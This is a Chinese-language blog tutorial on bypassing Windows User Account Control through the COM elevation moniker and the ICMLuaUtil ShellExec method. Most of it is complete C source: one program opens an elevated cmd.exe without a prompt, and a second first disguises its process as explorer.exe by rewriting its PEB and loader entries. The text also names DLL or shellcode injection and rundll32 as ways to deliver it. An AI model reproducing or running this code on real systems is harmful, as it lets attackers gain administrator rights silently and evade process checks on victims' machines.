通过com组件BypassUAC

COM组件简介

COM component（COM组件）是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下，人们可以开发出各种各样的功能专一的组件，然后将它们按照需要组合起来，构成复杂的应用系统。

com组件本质上是二进制文件(dll、exe,在windows系统内),其调用方法与c++的类相似，程序可以通过被称为CLSID(全局标识符)作为索引在注册表内找到具体的二进制文件，这篇文章只会介绍应用方法，具体的逆向分析会在之后的文章内详细解释(等公司买正版ida,现在用的盗版就不拿出来丢人了)。

windows提供了一种com组件提权的方法，其原意大概是为了方便开发，所以当这种提提权方法的调用者是拥有微软签名的合法程序时(其本质是校验PEB)，会忽略uac弹窗，这也为了我们利用该技术埋下了隐患。

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
    BIND_OPTS3 bo;
    WCHAR  wszCLSID[50];
    WCHAR  wszMonikerName[300];

    StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0])); 
    HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
        return hr;
    memset(&bo, 0, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hwnd;
    bo.dwClassContext  = CLSCTX_LOCAL_SERVER;
    return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

在com组件中，有一个名为ICMLuaUtil的接口，这个接口提供了一个名为ShellExec的方法，顾名思义，可以执行任意传入的命令，如果我们能用提权的ICMLuaUtil接口调用ShellExec，那么我们就能获得一个不受限的管理员令牌。

流程

1. 初始化com库

2. 创建提升权限的ICMLuaUtil接口

3. 调用ICMLuaUtil的ShellExec方法

4. 弹出一个高权限的calc(串戏了)。

代码

#include "BypassUAC.h"

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void** ppv)
{

	BIND_OPTS3 bo;
	WCHAR  wszCLSID[50];
	WCHAR  wszMonikerName[300];

	StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0]));
	HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName) / sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
	if (FAILED(hr))
		return hr;
	memset(&bo, 0, sizeof(bo));

	bo.cbStruct = sizeof(bo);
	bo.hwnd = hwnd;
	bo.dwClassContext = CLSCTX_LOCAL_SERVER;
	return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = { 0 };
	IID iidICMLuaUtil = { 0 };
	ICMLuaUtil* CMLuaUtil = NULL;
	BOOL bRet = FALSE;


	CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
	IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

	CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
	hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
	CMLuaUtil->lpVtbl->Release(CMLuaUtil);

	if (GetLastError())

	{

		return FALSE;

	}
	else {
		return TRUE;	
	}
}

int main() {

	CoInitialize(NULL);



	CMLuaUtilBypassUAC((LPWSTR)L"c:\\windows\\system32\\cmd.exe");
	CoUninitialize();
	return 0;
}

利用方法

shellcode&dll注入

把这个代码写成一个dll，然后通过进程注入的方式获得一个合法的进程环境。

shellcode注入和dll注入差不多，只不过注入的具体dll被打成了shellcode，我记得有这么一个开源项目可以做到，原理类似于在dll二进制代码前写一个加载器

rundll32

rundll32是windows提供的一个合法exe，它能把一个单独的dll拉起来成为一个进程，这也起来的进程也被windows视为合法。

伪装进程

原理我之前的文章写过fakecommandline，这篇文章的基础上再添加对ldr的伪装，就能绕过对进程的校验，具体的代码三号学生大佬写过this。

#include "BypassUAC.h"

#include <Shobjidl.h>
#include <string>
#pragma comment(lib, "ntdll.lib")

#define RTL_MAX_DRIVE_LETTERS 32
#define GDI_HANDLE_BUFFER_SIZE32  34
#define GDI_HANDLE_BUFFER_SIZE64  60
#define GDI_BATCH_BUFFER_SIZE 310

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#if !defined(_M_X64)
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64
#endif

typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;


typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} STRING;
typedef STRING* PSTRING;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _CLIENT_ID64 {
    ULONG64 UniqueProcess;
    ULONG64 UniqueThread;
} CLIENT_ID64, * PCLIENT_ID64;

typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    union
    {
        LIST_ENTRY InInitializationOrderLinks;
        LIST_ENTRY InProgressLinks;
    } DUMMYUNION0;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    union
    {
        ULONG Flags;
        struct
        {
            ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1
            ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1
            ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1
            ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1
            ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1
            ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1
            ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1
            ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1
            ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1
            ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1
            ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2
            ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1
            ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1
            ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1
            ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1
            ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2
            ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1
            ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1
            ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1
            ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1
            ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1
            ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1
            ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1
            ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1
            ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2
            ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1
            ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2
            ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1
        };
    } ENTRYFLAGSUNION;
    WORD ObsoleteLoadCount;
    WORD TlsIndex;
    union
    {
        LIST_ENTRY HashLinks;
        struct
        {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    } DUMMYUNION1;
    union
    {
        ULONG TimeDateStamp;
        PVOID LoadedImports;
    } DUMMYUNION2;
    //fields below removed for compatibility
} LDR_DATA_TABLE_ENTRY_COMPATIBLE, * PLDR_DATA_TABLE_ENTRY_COMPATIBLE;
typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY;

typedef LDR_DATA_TABLE_ENTRY* PCLDR_DATA_TABLE_ENTRY;

typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
    BOOLEAN ShutdownInProgress;
    HANDLE ShutdownThreadId;
} PEB_LDR_DATA, * PPEB_LDR_DATA;


typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, * PCURDIR;

typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;


typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;

    ULONG Flags;
    ULONG DebugFlags;

    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;

    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;

    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;

    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];

    ULONG EnvironmentSize;
    ULONG EnvironmentVersion;
    PVOID PackageDependencyData; //8+
    ULONG ProcessGroupId;
    // ULONG LoaderThreads;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    union
    {
        BOOLEAN BitField;
        struct
        {
            BOOLEAN ImageUsesLargePages : 1;
            BOOLEAN IsProtectedProcess : 1;
            BOOLEAN IsImageDynamicallyRelocated : 1;
            BOOLEAN SkipPatchingUser32Forwarders : 1;
            BOOLEAN IsPackagedProcess : 1;
            BOOLEAN IsAppContainer : 1;
            BOOLEAN IsProtectedProcessLight : 1;
            BOOLEAN IsLongPathAwareProcess : 1;
        };
    };
    HANDLE Mutant;

    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PRTL_CRITICAL_SECTION FastPebLock;
    PVOID AtlThunkSListPtr;
    PVOID IFEOKey;
    union
    {
        ULONG CrossProcessFlags;
        struct
        {
            ULONG ProcessInJob : 1;
            ULONG ProcessInitializing : 1;
            ULONG ProcessUsingVEH : 1;
            ULONG ProcessUsingVCH : 1;
            ULONG ProcessUsingFTH : 1;
            ULONG ProcessPreviouslyThrottled : 1;
            ULONG ProcessCurrentlyThrottled : 1;
            ULONG ReservedBits0 : 25;
        };
        ULONG EnvironmentUpdateCount;
    };
    union
    {
        PVOID KernelCallbackTable;
        PVOID UserSharedInfoPtr;
    };
    ULONG SystemReserved[1];
    ULONG AtlThunkSListPtr32;
    PVOID ApiSetMap;
    ULONG TlsExpansionCounter;
    PVOID TlsBitmap;
    ULONG TlsBitmapBits[2];
    PVOID ReadOnlySharedMemoryBase;
    PVOID HotpatchInformation;
    PVOID* ReadOnlyStaticServerData;
    PVOID AnsiCodePageData;
    PVOID OemCodePageData;
    PVOID UnicodeCaseTableData;

    ULONG NumberOfProcessors;
    ULONG NtGlobalFlag;

    LARGE_INTEGER CriticalSectionTimeout;
    SIZE_T HeapSegmentReserve;
    SIZE_T HeapSegmentCommit;
    SIZE_T HeapDeCommitTotalFreeThreshold;
    SIZE_T HeapDeCommitFreeBlockThreshold;

    ULONG NumberOfHeaps;
    ULONG MaximumNumberOfHeaps;
    PVOID* ProcessHeaps;

    PVOID GdiSharedHandleTable;
    PVOID ProcessStarterHelper;
    ULONG GdiDCAttributeList;

    PRTL_CRITICAL_SECTION LoaderLock;

    ULONG OSMajorVersion;
    ULONG OSMinorVersion;
    USHORT OSBuildNumber;
    USHORT OSCSDVersion;
    ULONG OSPlatformId;
    ULONG ImageSubsystem;
    ULONG ImageSubsystemMajorVersion;
    ULONG ImageSubsystemMinorVersion;
    ULONG_PTR ImageProcessAffinityMask;
    GDI_HANDLE_BUFFER GdiHandleBuffer;
    PVOID PostProcessInitRoutine;

    PVOID TlsExpansionBitmap;
    ULONG TlsExpansionBitmapBits[32];

    ULONG SessionId;

    ULARGE_INTEGER AppCompatFlags;
    ULARGE_INTEGER AppCompatFlagsUser;
    PVOID pShimData;
    PVOID AppCompatInfo;

    UNICODE_STRING CSDVersion;

    PVOID ActivationContextData;
    PVOID ProcessAssemblyStorageMap;
    PVOID SystemDefaultActivationContextData;
    PVOID SystemAssemblyStorageMap;

    SIZE_T MinimumStackCommit;

    PVOID* FlsCallback;
    LIST_ENTRY FlsListHead;
    PVOID FlsBitmap;
    ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
    ULONG FlsHighIndex;

    PVOID WerRegistrationData;
    PVOID WerShipAssertPtr;
    PVOID pContextData;
    PVOID pImageHeaderHash;
    union
    {
        ULONG TracingFlags;
        struct
        {
            ULONG HeapTracingEnabled : 1;
            ULONG CritSecTracingEnabled : 1;
            ULONG LibLoaderTracingEnabled : 1;
            ULONG SpareTracingBits : 29;
        };
    };
    ULONGLONG CsrServerReadOnlySharedMemoryBase;
} PEB, * PPEB;

typedef struct _GDI_TEB_BATCH {
    ULONG	Offset;
    UCHAR	Alignment[4];
    ULONG_PTR HDC;
    ULONG	Buffer[GDI_BATCH_BUFFER_SIZE];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;

typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
    ULONG Flags;
    PSTR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;

typedef struct _TEB_ACTIVE_FRAME {
    ULONG Flags;
    struct _TEB_ACTIVE_FRAME* Previous;
    PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;

typedef struct _TEB {
    NT_TIB NtTib;

    PVOID EnvironmentPointer;
    CLIENT_ID ClientId;
    PVOID ActiveRpcHandle;
    PVOID ThreadLocalStoragePointer;
    PPEB ProcessEnvironmentBlock;

    ULONG LastErrorValue;
    ULONG CountOfOwnedCriticalSections;
    PVOID CsrClientThread;
    PVOID Win32ThreadInfo;
    ULONG User32Reserved[26];
    ULONG UserReserved[5];
    PVOID WOW32Reserved;
    LCID CurrentLocale;
    ULONG FpSoftwareStatusRegister;
    PVOID SystemReserved1[54];
    NTSTATUS ExceptionCode;
    PVOID ActivationContextStackPointer;
#if defined(_M_X64)
    UCHAR SpareBytes[24];
#else
    UCHAR SpareBytes[36];
#endif
    ULONG TxFsContext;

    GDI_TEB_BATCH GdiTebBatch;
    CLIENT_ID RealClientId;
    HANDLE GdiCachedProcessHandle;
    ULONG GdiClientPID;
    ULONG GdiClientTID;
    PVOID GdiThreadLocalInfo;
    ULONG_PTR Win32ClientInfo[62];
    PVOID glDispatchTable[233];
    ULONG_PTR glReserved1[29];
    PVOID glReserved2;
    PVOID glSectionInfo;
    PVOID glSection;
    PVOID glTable;
    PVOID glCurrentRC;
    PVOID glContext;

    NTSTATUS LastStatusValue;
    UNICODE_STRING StaticUnicodeString;
    WCHAR StaticUnicodeBuffer[261];

    PVOID DeallocationStack;
    PVOID TlsSlots[64];
    LIST_ENTRY TlsLinks;

    PVOID Vdm;
    PVOID ReservedForNtRpc;
    PVOID DbgSsReserved[2];

    ULONG HardErrorMode;
#if defined(_M_X64)
    PVOID Instrumentation[11];
#else
    PVOID Instrumentation[9];
#endif
    GUID ActivityId;

    PVOID SubProcessTag;
    PVOID EtwLocalData;
    PVOID EtwTraceData;
    PVOID WinSockData;
    ULONG GdiBatchCount;

    union
    {
        PROCESSOR_NUMBER CurrentIdealProcessor;
        ULONG IdealProcessorValue;
        struct
        {
            UCHAR ReservedPad0;
            UCHAR ReservedPad1;
            UCHAR ReservedPad2;
            UCHAR IdealProcessor;
        };
    };

    ULONG GuaranteedStackBytes;
    PVOID ReservedForPerf;
    PVOID ReservedForOle;
    ULONG WaitingOnLoaderLock;
    PVOID SavedPriorityState;
    ULONG_PTR SoftPatchPtr1;
    PVOID ThreadPoolData;
    PVOID* TlsExpansionSlots;
#if defined(_M_X64)
    PVOID DeallocationBStore;
    PVOID BStoreLimit;
#endif
    ULONG MuiGeneration;
    ULONG IsImpersonating;
    PVOID NlsCache;
    PVOID pShimData;
    ULONG HeapVirtualAffinity;
    HANDLE CurrentTransactionHandle;
    PTEB_ACTIVE_FRAME ActiveFrame;
    PVOID FlsData;

    PVOID PreferredLanguages;
    PVOID UserPrefLanguages;
    PVOID MergedPrefLanguages;
    ULONG MuiImpersonation;

    union
    {
        USHORT CrossTebFlags;
        USHORT SpareCrossTebBits : 16;
    };
    union
    {
        USHORT SameTebFlags;
        struct
        {
            USHORT SafeThunkCall : 1;
            USHORT InDebugPrint : 1;
            USHORT HasFiberData : 1;
            USHORT SkipThreadAttach : 1;
            USHORT WerInShipAssertCode : 1;
            USHORT RanProcessInit : 1;
            USHORT ClonedThread : 1;
            USHORT SuppressDebugMsg : 1;
            USHORT DisableUserStackWalk : 1;
            USHORT RtlExceptionAttached : 1;
            USHORT InitialThread : 1;
            USHORT SpareSameTebBits : 1;
        };
    };

    PVOID TxnScopeEnterCallback;
    PVOID TxnScopeExitCallback;
    PVOID TxnScopeContext;
    ULONG LockCount;
    ULONG SpareUlong0;
    PVOID ResourceRetValue;
} TEB, * PTEB;

typedef VOID(NTAPI* PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)(
    _In_    PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_    PVOID Context,
    _Inout_ BOOLEAN* StopEnumeration
    );

typedef PVOID NTAPI RTLINITUNICODESTRING(
    _Inout_	PUNICODE_STRING DestinationString,
    _In_opt_ PCWSTR SourceString
);
typedef RTLINITUNICODESTRING FAR* LPRTLINITUNICODESTRING;
LPRTLINITUNICODESTRING			RtlInitUnicodeString;

typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION(
    _In_ PRTL_CRITICAL_SECTION CriticalSection
);
typedef RTLENTERCRITICALSECTION FAR* LPRTLENTERCRITICALSECTION;
LPRTLENTERCRITICALSECTION			RtlEnterCriticalSection;

typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION(
    _In_ PRTL_CRITICAL_SECTION CriticalSection
);
typedef RTLLEAVECRITICALSECTION FAR* LPRTLLEAVECRITICALSECTION;
LPRTLLEAVECRITICALSECTION			RtlLeaveCriticalSection;

typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES(
    _In_opt_ ULONG Flags,
    _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction,
    _In_opt_ PVOID Context);
typedef LDRENUMERATELOADEDMODULES FAR* LPLDRENUMERATELOADEDMODULES;
LPLDRENUMERATELOADEDMODULES			LdrEnumerateLoadedModules;

typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY(
    _In_        HANDLE ProcessHandle,
    _Inout_     PVOID* BaseAddress,
    _In_        ULONG_PTR ZeroBits,
    _Inout_     PSIZE_T RegionSize,
    _In_        ULONG AllocationType,
    _In_        ULONG Protect
);
typedef NTALLOCATEVIRTUALMEMORY FAR* LPNTALLOCATEVIRTUALMEMORY;
LPNTALLOCATEVIRTUALMEMORY	NtAllocateVirtualMemory;

LPWSTR g_lpszExplorer2 = (LPWSTR)L"C:\\windows\\explorer.exe";

VOID NTAPI supxLdrEnumModulesCallback(
    _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_ PVOID Context,
    _Inout_ BOOLEAN* StopEnumeration
)
{
    PPEB Peb = (PPEB)Context;
    
    if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
        RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2);
        RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"explorer.exe");
        *StopEnumeration = TRUE;
    }
    else {
        *StopEnumeration = FALSE;
    }
}


__inline struct _PEB* NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }


VOID supMasqueradeProcess(
    VOID
)
{

    NTSTATUS Status;
    PPEB    Peb = NtCurrentPeb();
    SIZE_T  RegionSize;

    PVOID g_lpszExplorer = NULL;
    RegionSize = 0x1000;
    
    Status = NtAllocateVirtualMemory(
        NtCurrentProcess(),
        &g_lpszExplorer,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);

    if (NT_SUCCESS(Status)) {
        RtlEnterCriticalSection(Peb->FastPebLock);

        RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2);
        RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2);

        RtlLeaveCriticalSection(Peb->FastPebLock);

        LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
    }
}

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void** ppv)
{

	BIND_OPTS3 bo;
	WCHAR  wszCLSID[50];
	WCHAR  wszMonikerName[300];
	CoInitialize(NULL);
	StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0]));
	HRESULT hr = StringCchPrintfW(wszMonikerName, sizeof(wszMonikerName) / sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
	if (FAILED(hr))
		return hr;

	memset(&bo, 0, sizeof(bo));

	bo.cbStruct = sizeof(bo);
	bo.hwnd = hwnd;
	bo.dwClassContext = CLSCTX_LOCAL_SERVER;

	return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = { 0 };
	IID iidICMLuaUtil = { 0 };
	ICMLuaUtil* CMLuaUtil = NULL;
	BOOL bRet = FALSE;


	CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
	IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

	CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
	hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);

	CMLuaUtil->lpVtbl->Release(CMLuaUtil);

	if (GetLastError())
	{
		return FALSE;
	}
	else {
		return TRUE;	
	}
}
/*
int main() {
	CoInitialize(NULL);

	CMLuaUtilBypassUAC((LPWSTR)L"c:\\windows\\system32\\cmd.exe");
	CoUninitialize();
	return 0;
}*/
VOID  main()
{
    NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
    RtlEnterCriticalSection = (LPRTLENTERCRITICALSECTION)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlEnterCriticalSection");
    RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
    RtlLeaveCriticalSection = (LPRTLLEAVECRITICALSECTION)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlLeaveCriticalSection");
    LdrEnumerateLoadedModules = (LPLDRENUMERATELOADEDMODULES)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrEnumerateLoadedModules");
    supMasqueradeProcess();
	CMLuaUtilBypassUAC((LPWSTR)L"c:\\windows\\system32\\cmd.exe");
	//CoUninitialize();

}

LINKS

COM Elevation 名字对象 - Win32 appsMicrosoftLearn

基于COM组件接口ICMLuaUtil的BypassUAC - 自己的小白 - 博客园www.cnblogs.com